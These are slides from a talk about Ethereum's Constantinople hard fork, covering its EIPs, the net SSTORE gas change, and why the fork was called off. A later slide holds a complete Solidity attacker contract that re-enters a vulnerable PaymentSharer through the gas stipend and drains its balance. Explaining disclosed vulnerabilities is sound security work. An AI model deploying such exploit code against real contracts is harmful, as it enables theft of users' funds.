What happened with Constantinople?
Tomasz Drwięga, @tomusdrw
Parity Technologies
Constantinople?
- EIP-1234: Diff. bomb & reward
- EIP-145: Bitwise shifting
- EIP 1052: EXTCODEHASH
- EIP-1014: Skinny CREATE2
- EIP-1283: Net SSTORE
Skinny CREATE2?
Currently (CREATE): Contract Address = keccak(sender ++ nonce) After (CREATE2): Contract Address = keccak(sender ++ salt ++ keccak(init_code))
Consequences?
- Predictable address
- Contract can be deployed later
- Contracts can be resurrected
- Even with a different code!
Net SSTORE?
Currently (SSTORE): Set 0 -> X: 20k Set X -> Y: 5k Set Y -> 0: 5k - 15k
After (SSTORE): (First change) Set 0 -> X: 20k Set X -> Y: 5k Set X -> 0: 5k - 15k (Next change) Set Y -> Z: 200 Set Y -> X: 200 - 20k
Why?
- Temporary changes are too costly
- It doesn't reflect the actual cost
- Doesn't seem to complicated
What Went WRONG?
ReEntrancy?
function withdraw() {
require(deposit > 0);
contractA.transfer(deposit);
deposit = 0;
}
function () payable {
// got some money!
if (!called) {
called = true;
msg.sender.withdraw();
}
}
Remember DAO?
Call Stipend
https://github.com/ethereum/wiki/wiki/Subtleties
The child message of a nonzero-value CALL operation (NOT the top-level message arising from a transaction!) gains an additional 2300 gas on top of the gas supplied by the calling account; this stipend can be considered to be paid out of the 9000 mandatory additional fee for nonzero-value calls. This ensures that a call recipient will always have enough gas to log that it received funds.
This Specific exploit is (Much) harder
contract PaymentSharer {
function init(uint id, address payable _first, address payable _second) public {
first[id] = _first;
second[id] = _second;
}
function deposit(uint id) public payable {
deposits[id] += msg.value;
}
function updateSplit(uint id, uint split) public {
require(split <= 100);
splits[id] = split;
}
function splitFunds(uint id) public {
// Signatures that both parties agree with this split
// Split
address payable a = first[id];
address payable b = second[id];
uint depo = deposits[id];
deposits[id] = 0;
a.transfer(depo * splits[id] / 100);
b.transfer(depo * (100 - splits[id]) / 100);
}
}
contract Attacker {
constructor() public {
owner = msg.sender;
}
function attack(address a) external {
victim = a;
PaymentSharer x = PaymentSharer(a);
x.updateSplit(0, 100);
x.splitFunds(0);
}
function () payable external {
address x = victim;
assembly{
mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)
pop(call(10000, x, 0, 0x80, 0x44, 0, 0))
}
}
function drain() external {
owner.transfer(address(this).balance);
}
}
CONSEQUENCES?
- Hard-fork pulled off (35h before)
- Late night releases
Questions?
Tomasz Drwięga
@tomusdrw
Parity Technologies
What happened with Constantinople?
By Tomasz Drwięga
What happened with Constantinople?
- 499